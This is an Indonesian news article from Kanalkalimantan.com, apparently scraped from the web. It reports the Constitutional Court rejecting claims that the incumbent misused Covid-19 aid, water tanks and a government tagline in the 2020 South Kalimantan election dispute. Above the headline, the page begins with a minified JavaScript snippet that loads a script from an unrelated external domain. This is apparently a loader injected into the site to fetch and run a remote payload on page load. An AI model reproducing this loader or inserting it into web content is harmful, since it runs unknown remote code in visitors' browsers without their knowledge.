(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

SEDANG BERLANGSUNG. MK Patahkan Dalil Penyalahgunaan Tandon Air dan Bantuan Covid-19


KANALKALIMANTAN.COM, BANJARBARU – Hakim Mahkamah Konstitusi (MK) membacakan putusan sengketa Pilkada Kalsel pada Jumat (19/3/2021) pukul 16.15 Wita. Majelis hakim MK, secara bergiliran membaca rentetan sejumlah dalil yang disampaikan pemohon Denny Indrayana-Difriadi selaku paslon nomor urut 2.

Terkait tudingan kubu petahana Sahbirin-Muhidin telah menyalahgunakan bantuan sosial Covid-19 untuk kepentingan kampanye di Pilkada Kalsel 2020. Diduga dipakai untuk mempengaruhi pemilih. Selaku calon Gubernur Kalsel petahana, Sahbirin Noor diduga telah memanfaatkan bansos Covid-19 berupa sembako untuk mengampanyekan dirinya yang maju di Pilkada.

Majelis mengatakan, dalil gugatan soal tandon air tidak terbukti sebagaimana yang dituduhkan. Sehingga petahana dianggap tidak menyalahgunakan bantuan tandon untuk kepentingan kampanye.

“Tidak terbukti dalil yang disampaikan pemohon. Bahwa petahana menggunakan bantuan tandon untuk kepentingan Pilkada,” kata majelis hakim Manahan MP Sitompul.

Sebelumnya, tim Kuasa Hukum Denny-Difriadi menuding kubu petahana Sahbirin-Muhidin telah menyalahgunakan bantuan sosial Covid-19 untuk kepentingan kampanye di Pilkada Kalsel 2020. Diduga dipakai untuk mempengaruhi pemilih. Selaku calon Gubernur Kalsel petahana, Sahbirin Noor diduga telah memanfaatkan bansos Covid-19 berupa sembako untuk mengampanyekan dirinya yang maju di Pilkada.

Selain itu, mereka juga menyebut Gubernur Kalsel Sahbirin sengaja mengubah tagline atau jargon Pemprov Kalsel demi kepentingan kampanye. Tagline Pemda Kalsel diubah menjadi ‘Kalsel Bergerak’ dari semula ‘Kalsel Mapan (Mandiri dan Terdepan) Lebih Sejahtera, Berkeadilan, Berdikari dan Berdaya Saing’. Padahal tagline tersebut tercantum di Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Provinsi Tahun 2016-2021.

Baca juga : Kantor KPU Kalsel Ditinggal Semua Komisioner ke Jakarta, Hadiri Sidang Putusan MK

Belakangan, tagline ‘Kalsel Bergerak’ dipublikasikan di sejumlah media publikasi pemerintah seperti website resmi pemrov Kalsel, bahkan hingga dibuatkan mars atau lagu dan diunggah di YouTube pemerintah.
Namun terkait dalil tersebut, MK juga menyatakan tidak terbukti.

Hingga saat ini, sidang di MK masih berlangsung.
(Kanalkalimantan.com/kk)

 

Reporter : Kk
Editor : Cell

 


Al Ghifari

Recent Posts

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

32 menit ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

3 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

3 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

4 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

4 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

4 jam ago

This website uses cookies.